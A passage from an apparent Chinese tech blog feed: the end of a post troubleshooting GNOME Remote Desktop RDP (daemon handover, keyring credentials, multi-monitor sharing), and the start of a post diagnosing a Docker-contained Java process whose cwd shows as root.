&lt;p&gt;&lt;strong&gt;2026-09-11 更新（douhao 现状）&lt;&#x2F;strong&gt;：douhao 的 3390 已改回 &lt;strong&gt;SCREEN_SHARE（&lt;code&gt;mirror-primary&lt;&#x2F;code&gt;，共享物理桌面）&lt;&#x2F;strong&gt;——需求从「无头共享」变成「看到物理屏」。代价是回到 keyring 路径，但并非不可用：&lt;strong&gt;物理会话活跃且 login keyring 已解锁&lt;&#x2F;strong&gt;时，SSH 里带上 &lt;code&gt;XDG_RUNTIME_DIR&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;DBUS_SESSION_BUS_ADDRESS&lt;&#x2F;code&gt;（GDBus 会自动回退到 &lt;code&gt;$XDG_RUNTIME_DIR&#x2F;bus&lt;&#x2F;code&gt;）执行 &lt;code&gt;grdctl rdp set-credentials&lt;&#x2F;code&gt; 可正常写入，且写入&lt;strong&gt;即时生效&lt;&#x2F;strong&gt;（daemon 每次连接现查 keyring，无需重启）；headless 读 credentials.ini 才需要重启 daemon。注意物理会话被踢后 keyring 会随会话内 daemon 退出而重新锁定，需登录后解锁（keyring 密码=创建时的登录密码）。另外：&lt;code&gt;screen-share-mode&lt;&#x2F;code&gt; 是 GSettings 绑定的活配置，改完对新连接立即生效，同样不需要重启 daemon。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;shuang-shou-hu-jin-cheng-handover&quot;&gt;双守护进程 + handover&lt;&#x2F;h3&gt;
&lt;p&gt;douhao 上系统级与用户级守护进程&lt;strong&gt;并存&lt;&#x2F;strong&gt;，各管一段：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;进程&lt;&#x2F;th&gt;&lt;th&gt;角色&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop-daemon --system&lt;&#x2F;code&gt;（系统级）&lt;&#x2F;td&gt;&lt;td&gt;管理 &lt;strong&gt;GDM 登录界面（greeter）&lt;&#x2F;strong&gt; 的 RDP——&quot;远程登录&quot;端&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop-daemon&lt;&#x2F;code&gt; + &lt;code&gt;--handover&lt;&#x2F;code&gt;（用户级）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;登录后接管连接&lt;&#x2F;strong&gt;，共享用户桌面&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;完整链路：RDP 连 3389 → 看到 GDM 登录界面 → 输密码 → 登录瞬间 handover 把连接交给用户级 daemon → 无缝进入真实桌面。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hui-hua-lie-biao-jie-du-loginctl-shi-ce-hui-hua&quot;&gt;会话列表解读（loginctl，实测会话）&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;c8   Debian-gdm greeter active  wayland  local   seat0 tty1   ← 本地登录界面，永远挂着
c9   Debian-gdm greeter active  wayland  remote  -      -     ← 第一次 RDP 连接的 greeter
c10  Debian-gdm greeter active  wayland  remote  -      -     ← 第二次 RDP 连接的 greeter
3670 peter      user    active  wayland  remote  -      -     ← peter 已登录的 GUI 会话
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;每个 RDP 连接 = 一个独立远程 greeter 会话&lt;&#x2F;strong&gt;（c9、c10…），不复用，登录 handover 后&lt;strong&gt;也不销毁&lt;&#x2F;strong&gt;（GDM 保留），连几次就几个&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;本地 seat0 greeter 永远 active&lt;&#x2F;strong&gt;：物理屏没人登录它就在——&quot;有 greeter = 没登录&quot;的判断是错的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;判断是否已登录 GUI&lt;&#x2F;strong&gt;：看 peter 有没有 &lt;code&gt;active&lt;&#x2F;code&gt; 的 &lt;code&gt;wayland&#x2F;x11&lt;&#x2F;code&gt; user 会话（&lt;code&gt;loginctl list-sessions | awk &#x27;$3==peter &amp;amp;&amp;amp; $4==user &amp;amp;&amp;amp; $6==wayland&#x27;&lt;&#x2F;code&gt;），而不是看 greeter 是否在场&lt;&#x2F;li&gt;
&lt;li&gt;远程会话（含 RDP 的 greeter 和用户会话）&lt;strong&gt;无 seat&lt;&#x2F;strong&gt;（显示 &lt;code&gt;-&lt;&#x2F;code&gt;）；本地物理会话才有 seat0&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xuan-ran-lian-lu-fu-wu-qi-duan-wayland-xuan-ran&quot;&gt;渲染链路：服务器端 Wayland 渲染&lt;&#x2F;h3&gt;
&lt;p&gt;远程登录界面不是 X11 转发，而是服务器端完整渲染：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;RDP 客户端 ←── RDP（H.264 帧编码 + 输入事件） ──→ grd 系统守护进程
                                                        │
                      GDM 按需拉起无 seat 的 greeter 会话（c9&amp;#x2F;c10）
                                                        │
                                 里面跑 Mutter（Wayland 合成器），渲染进虚拟输出
                                                        │
                    grd 用 Mutter ScreenCast API 捕获帧 → 编码 → 推给客户端
                    客户端鼠标键盘 → RemoteDesktop API 反向注入合成器
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;登录后同理：handover 后 grd 用户守护进程捕获用户会话合成器的画面。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xu-ni-shu-chu-de-di-ceng-ji-shu-douhao-shi-ce&quot;&gt;虚拟输出的底层技术（douhao 实测）&lt;&#x2F;h3&gt;
&lt;p&gt;douhao 的 &lt;code&gt;card0-Virtual-1&lt;&#x2F;code&gt; &lt;strong&gt;不是 VKMS&lt;&#x2F;strong&gt;，而是 &lt;strong&gt;virtio-gpu&lt;&#x2F;strong&gt;——douhao 本身是 QEMU&#x2F;KVM 虚拟机：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;card0&amp;#x2F;device&amp;#x2F;uevent: DRIVER=virtio-pci, PCI_ID=1AF4:1050（virtio-gpu）
lsmod: virtio_gpu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;技术&lt;&#x2F;th&gt;&lt;th&gt;本质&lt;&#x2F;th&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;VKMS（drm&#x2F;vkms）&lt;&#x2F;td&gt;&lt;td&gt;纯内核虚拟 KMS，无 PCI 设备&lt;&#x2F;td&gt;&lt;td&gt;无头服务器测试 KMS 路径&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;virtio-gpu&lt;&#x2F;strong&gt;（douhao 用）&lt;&#x2F;td&gt;&lt;td&gt;半虚拟化 GPU，宿主提供真实帧缓冲，自带虚拟 EDID&lt;&#x2F;td&gt;&lt;td&gt;虚拟机标准虚拟显卡&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Mutter 虚拟显示器&lt;&#x2F;td&gt;&lt;td&gt;合成器内部软件虚拟输出，不进内核 DRM&lt;&#x2F;td&gt;&lt;td&gt;gnome-remote-desktop 无头会话&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;640x480 之谜&lt;&#x2F;strong&gt;：virtio-gpu 的 Virtual-1 连接器自带 EDID，支持 5120x2160 等大模式——但 RDP greeter 画面可能只有 640x480。原因是&lt;strong&gt;远程 greeter 的合成器走 Mutter 内置虚拟显示器（软件路径），其尺寸由 RDP 客户端连接时请求的桌面尺寸决定&lt;&#x2F;strong&gt;（grd 系统守护进程默认 EXTEND 模式，用客户端 Client Core Data 的 DesktopWidth&#x2F;Height 建虚拟屏；Mutter 按 PipeWire 协商尺寸创建&#x2F;调整虚拟显示器，见 &lt;code&gt;meta-screen-cast-virtual-stream-src.c&lt;&#x2F;code&gt; 的 &lt;code&gt;create_virtual_monitor&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ensure_virtual_monitor&lt;&#x2F;code&gt;），不经过 KMS 连接器的模式列表。&lt;strong&gt;更正（2026-09-11）&lt;&#x2F;strong&gt;：原文写「Mutter 默认 640x480」不准确——实测客户端请求 &lt;code&gt;&#x2F;size:1000x700&lt;&#x2F;code&gt; 时服务端渲染内容就是 1000x700，尺寸由客户端请求驱动；greeter 显示 640x480 是因为客户端请求了 640x480（把客户端分辨率调大即可）。两条渲染路径不冲突：连接器支持大分辨率，不代表 greeter 会用它。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;duo-xian-shi-qi-yu-xian-shi-qi-re-cha-ba-2026-08-18-bu-chong&quot;&gt;多显示器与显示器热插拔（2026-08-18 补充）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;gong-xiang-na-ge-ping-mirror-primary-zhi-jing-xiang-zhu-xian-shi-qi&quot;&gt;共享哪个屏：mirror-primary 只镜像主显示器&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;双屏&#x2F;多屏时，&lt;code&gt;mirror-primary&lt;&#x2F;code&gt; 共享的只是&lt;strong&gt;主显示器&lt;&#x2F;strong&gt;（Primary）的画面，副屏上的窗口&#x2F;内容&lt;strong&gt;不在 RDP 会话里&lt;&#x2F;strong&gt;——远程端看不到，没有其他&quot;平面&quot;可看。&lt;&#x2F;li&gt;
&lt;li&gt;想看到副屏内容只有三条路：① 客户端启用多显示器（RDP 多 monitor 会话，见下）；② 换成 &lt;code&gt;extend&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;--headless&lt;&#x2F;code&gt; 共享虚拟屏（但那是另一块屏，不是副屏内容）；③ 把窗口拖到主屏。&lt;&#x2F;li&gt;
&lt;li&gt;主显示器判定：GNOME 设置 → 显示器 → 主显示器（或 &lt;code&gt;xrandr --listmonitors&lt;&#x2F;code&gt; 的 &lt;code&gt;*&lt;&#x2F;code&gt; 标记）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;ke-hu-duan-ce-xuan-xiang-remmina-1-4-43-shi-ce&quot;&gt;客户端侧选项（Remmina 1.4.43 实测）&lt;&#x2F;h3&gt;
&lt;p&gt;Remmina &lt;strong&gt;没有&lt;&#x2F;strong&gt; mstsc 那种字面叫&quot;使用所有显示器&quot;的选项，等价物在 &lt;strong&gt;Basic（基本）标签页下半段&lt;&#x2F;strong&gt;（&quot;智能卡 PIN&quot;一组之后、&quot;分辨率&quot;之前，需向下滚动）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;选项&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Enable multi monitor&lt;&#x2F;td&gt;&lt;td&gt;每个本地显示器映射为一个独立 RDP monitor（≈ mstsc 的&quot;使用所有显示器&quot;，全屏生效）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Force multi monitor when toggled&lt;&#x2F;td&gt;&lt;td&gt;强制多显示器模式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Span screen over multiple monitors&lt;&#x2F;td&gt;&lt;td&gt;多屏拼接成一个虚拟大桌面（单一逻辑 monitor，窗口可跨屏拖动）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;List monitor IDs&lt;&#x2F;td&gt;&lt;td&gt;逗号分隔指定共享哪些显示器（如 &lt;code&gt;0,1&lt;&#x2F;code&gt;），可精确排除某个屏&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;服务端（grd 0.4.x &#x2F; GNOME 46+）侧本身支持多显示器：每个物理显示器独立 ScreenCast 流 → RDP 多 monitor。&lt;strong&gt;两端都要开启&lt;&#x2F;strong&gt;才生效。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xian-shi-qi-yi-chu-re-cha-ba-dui-gong-xiang-de-ying-xiang&quot;&gt;显示器移除（热插拔）对共享的影响&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;本地会话不受影响&lt;&#x2F;strong&gt;：mutter 的&quot;输出配置&quot;与&quot;桌面会话&quot;解耦。拔掉显示器 → DRM connector 断开 → mutter 把该输出从 monitor 配置移除（唯一输出被移除则进入&quot;无活动输出&quot;状态），窗口&#x2F;进程原样保留；插回 → 热插拔事件 → mutter 自动重建输出恢复显示。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;共享会话受影响&lt;&#x2F;strong&gt;：&lt;code&gt;mirror-primary&lt;&#x2F;code&gt; 镜像的是主物理显示器，主屏被拔 → 没有可镜像的输出 → 远程端黑屏&#x2F;断开（与 Step 3d 的 &lt;code&gt;Unknown monitor&lt;&#x2F;code&gt; 场景同类，只是触发原因不同：物理会话注销 vs 拔屏）。&lt;&#x2F;li&gt;
&lt;li&gt;想&quot;拔屏后共享不断&quot;：用 &lt;code&gt;extend&lt;&#x2F;code&gt; 或 &lt;code&gt;--headless&lt;&#x2F;code&gt;（自建虚拟屏），但&lt;strong&gt;看不到物理屏内容&lt;&#x2F;strong&gt;——虚拟屏与物理屏是同一会话的不同输出（扩展布局，窗口各自落位），两边内容不镜像。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;结论：要&quot;远程看到和本地用户同一画面&quot;（远程调试场景），必须物理屏存在 + &lt;code&gt;mirror-primary&lt;&#x2F;code&gt;；headless&#x2F;虚拟屏是&quot;换一块屏&quot;，不是&quot;镜像本地&quot;&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;cai-keng-zong-biao&quot;&gt;踩坑总表&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;问题&lt;&#x2F;th&gt;&lt;th&gt;现象&lt;&#x2F;th&gt;&lt;th&gt;机器&lt;&#x2F;th&gt;&lt;th&gt;根因&lt;&#x2F;th&gt;&lt;th&gt;解法&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;xrdp 占端口&lt;&#x2F;td&gt;&lt;td&gt;开关弹回&lt;&#x2F;td&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;xrdp-sesman 开机抢先绑 3389&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;systemctl stop&#x2F;disable xrdp xrdp-sesman&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;0x907 证书&lt;&#x2F;td&gt;&lt;td&gt;mstsc 硬拒绝&lt;&#x2F;td&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;Windows 缓存了旧证书指纹&lt;&#x2F;td&gt;&lt;td&gt;清注册表 &#x2F; 换地址重连&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GDM 白屏 + CPU 飙升（greeter 无虚拟显示器）&lt;&#x2F;td&gt;&lt;td&gt;3389 连上白屏、无渲染错误&lt;&#x2F;td&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;手动默认路由 → NM PrimaryConnection 空 → gsd-sharing 判 OFFLINE → --handover 不启动 → greeter 无虚拟显示器&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;nmcli con up &amp;lt;连接&amp;gt;&lt;&#x2F;code&gt; 让 NM 接管默认路由（见 Step 3b）；systemd-networkd 同理（见 Step 3c）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;NTLM MIC 失败&lt;&#x2F;td&gt;&lt;td&gt;Remmina 闪退&lt;&#x2F;td&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;用户守护进程 NLA 普遍不兼容&lt;&#x2F;td&gt;&lt;td&gt;用系统守护进程 &#x2F; 3389 登录路径&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Session inhibited&lt;&#x2F;td&gt;&lt;td&gt;认证通过后断开&lt;&#x2F;td&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;物理会话锁屏&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;loginctl unlock-session&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;凭证不持久化&lt;&#x2F;td&gt;&lt;td&gt;NTLM 永远失败&lt;&#x2F;td&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;grdctl 写 keyring 失败（SSH 无 keyring daemon），回退 credentials.ini 的写入路径不工作&lt;&#x2F;td&gt;&lt;td&gt;通过 3389 GDM 登录一次解锁 keyring 后写凭证，或改用 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式（凭证走 credentials.ini）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSH 可远程解锁&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;同用户会话间 polkit 信任&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;loginctl unlock-session &amp;lt;id&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3390 Unknown monitor&lt;&#x2F;td&gt;&lt;td&gt;认证通过后 RPC 断开&lt;&#x2F;td&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;mirror-primary 模式无物理屏可镜像（物理会话注销后）&lt;&#x2F;td&gt;&lt;td&gt;短期：&lt;code&gt;screen-share-mode extend&lt;&#x2F;code&gt;；&lt;strong&gt;根治：改用 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式&lt;&#x2F;strong&gt;（永远自建虚拟屏，见 Step 3d）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3390 凭证死结&lt;&#x2F;td&gt;&lt;td&gt;认证被拒 &lt;code&gt;Credentials are not set&lt;&#x2F;code&gt;，grdctl 写 keyring 挂起&lt;&#x2F;td&gt;&lt;td&gt;B&#x2F;douhao&lt;&#x2F;td&gt;&lt;td&gt;SCREEN_SHARE 模式凭证只读 keyring；keyring 锁定&#x2F;无显示环境无法写入&lt;&#x2F;td&gt;&lt;td&gt;改用 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式（读 credentials.ini，不碰 keyring）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;keyring 解锁弹窗密码错&lt;&#x2F;td&gt;&lt;td&gt;RDP 登录后弹解锁框，输登录密码报错&lt;&#x2F;td&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;8月6日 排查期间重建的 login.keyring 密码与当前登录密码不一致（GDM 登录创建的 keyring 密码=当时登录密码，改密码不同步）&lt;&#x2F;td&gt;&lt;td&gt;备份后删除 login.keyring，下次 GUI 登录以当前密码重建（丢其中存的少量密码）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;系统级凭证不重载&lt;&#x2F;td&gt;&lt;td&gt;3389 改密码后认证仍 &lt;code&gt;STATUS_LOGON_FAILURE&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;运行中的系统 daemon 不重读 grd.conf&lt;&#x2F;td&gt;&lt;td&gt;写凭证后 &lt;code&gt;systemctl restart gnome-remote-desktop.service&lt;&#x2F;code&gt;（先确认无活跃 gdm 会话，见下行）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;重启系统 daemon 踢物理会话&lt;&#x2F;td&gt;&lt;td&gt;脚本跑着跑着物理桌面退出、自动登录恢复&lt;&#x2F;td&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;活跃 RDP greeter 被杀 → GDM &lt;code&gt;on_display_added&lt;&#x2F;code&gt; 断言失败 → seat 会话被踢&lt;&#x2F;td&gt;&lt;td&gt;默认不重启系统 daemon（&lt;code&gt;--restart&lt;&#x2F;code&gt; 显式才重启，先清空 user=gdm 会话）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SCREEN_SHARE 改密码不生效&lt;&#x2F;td&gt;&lt;td&gt;3390 还是旧密码&lt;&#x2F;td&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;SCREEN_SHARE 凭证只读 keyring，&lt;code&gt;credentials.ini&lt;&#x2F;code&gt; 无效&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;grdctl rdp set-credentials&lt;&#x2F;code&gt; 写 keyring（物理会话活跃时即时生效）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;共享模式被悄悄切回 extend&lt;&#x2F;td&gt;&lt;td&gt;3390 连上看不到物理屏&lt;&#x2F;td&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;「无物理会话自动回退 extend」在会话切换空档误判&lt;&#x2F;td&gt;&lt;td&gt;默认 mirror-primary，只有显式 &lt;code&gt;--extend&lt;&#x2F;code&gt; 才配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>一个容器内进程的 cwd 诊断记录</title>
        <published>2026-08-05T18:23:16+08:00</published>
        <updated>2026-08-05T18:23:16+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/container-process-cwd-diagnosis/"/>
        <id>https://vercel.juzhong.asia/2026/08/container-process-cwd-diagnosis/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/container-process-cwd-diagnosis/">&lt;h1 id=&quot;yi-ge-rong-qi-nei-jin-cheng-de-cwd-zhen-duan-ji-lu&quot;&gt;一个容器内进程的 cwd 诊断记录&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;wen-ti-xian-xiang&quot;&gt;问题现象&lt;&#x2F;h2&gt;
&lt;p&gt;在一台远程服务器上排查一个 Java 服务（portal.jar），执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh smyl@192.168.7.16 &amp;quot;ps -ef | grep portal.jar&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到进程 PID 后，查看它的启动目录：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ls -l &amp;#x2F;proc&amp;#x2F;2333607&amp;#x2F;cwd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果显示 symlink 指向 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt;（根目录）。但是 &lt;code&gt;ls &#x2F;&lt;&#x2F;code&gt; 里根本没有 &lt;code&gt;portal.jar&lt;&#x2F;code&gt;，文件去哪了？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-xian-kan-wan-zheng-de-qi-dong-ming-ling-xing&quot;&gt;1. 先看完整的启动命令行&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;proc&amp;#x2F;2333607&amp;#x2F;cmdline | tr &amp;#x27;\0&amp;#x27; &amp;#x27; &amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;java -agentlib:jdwp=... -jar portal.jar --spring.datasource.url=...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意这里用的是&lt;strong&gt;相对路径&lt;&#x2F;strong&gt; &lt;code&gt;-jar portal.jar&lt;&#x2F;code&gt;，没有带目录。也就是说，jar 的路径在启动命令行里，和 cwd 是两回事——&lt;code&gt;&#x2F;proc&#x2F;PID&#x2F;cwd&lt;&#x2F;code&gt; 只是进程的 OS 层工作目录（chdir 状态），不等于 jar 文件所在位置。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-kan-fu-jin-cheng-zhe-shi-guan-jian-yi-bu&quot;&gt;2. 看父进程，这是关键一步&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps -fp 2333588   # 父进程
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;root 2333588 1 ... &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;containerd-shim-runc-v2 -namespace moby \
  -id b1361c5698864840338b2753403884cff27c8189a6c7bc4a88fabb83f1706805 \
  -address &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker&amp;#x2F;containerd&amp;#x2F;containerd.sock
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看到父进程是 &lt;code&gt;containerd-shim-runc-v2&lt;&#x2F;code&gt; 就基本可以断定：&lt;strong&gt;这个进程跑在 Docker 容器里&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;几个识别特征：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;containerd-shim-runc-v2&lt;&#x2F;code&gt;：Docker 为每个容器创建的 shim 进程，是容器内 PID 1 的宿主侧父进程&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-namespace moby&lt;&#x2F;code&gt;：Docker 的 containerd 命名空间&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-address &#x2F;var&#x2F;run&#x2F;docker&#x2F;containerd&#x2F;containerd.sock&lt;&#x2F;code&gt;：Docker 的 containerd socket&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-id &amp;lt;64位hex&amp;gt;&lt;&#x2F;code&gt;：就是容器 ID&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-docker-inspect-jiao-cha-yan-zheng&quot;&gt;3. docker inspect 交叉验证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker inspect b1361c56... --format &amp;#x27;{{json .Config.WorkingDir}} {{json .Path}} {{json .Args}}&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;quot;&amp;#x2F;&amp;quot; &amp;quot;java&amp;quot; [&amp;quot;...&amp;quot;,&amp;quot;-jar&amp;quot;,&amp;quot;portal.jar&amp;quot;,&amp;quot;--spring.datasource.url=...&amp;quot;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;容器 &lt;code&gt;Config.WorkingDir&lt;&#x2F;code&gt; 是 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt;，命令是 &lt;code&gt;java ... -jar portal.jar&lt;&#x2F;code&gt;，与 cmdline 完全吻合。同时拿到容器名 &lt;code&gt;xfuzz-saas-test-server-1&lt;&#x2F;code&gt;、镜像 &lt;code&gt;wfuzz-web:v1.12.27.1&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-jin-rong-qi-que-ren&quot;&gt;4. 进容器确认&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker exec &amp;lt;容器ID&amp;gt; ls -l &amp;#x2F;portal.jar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;容器里 &lt;code&gt;&#x2F;portal.jar&lt;&#x2F;code&gt; &lt;strong&gt;确实存在&lt;&#x2F;strong&gt;（396MB）；而宿主机 &lt;code&gt;ls &#x2F;&lt;&#x2F;code&gt; 里没有。真相大白：&lt;&#x2F;p&gt;
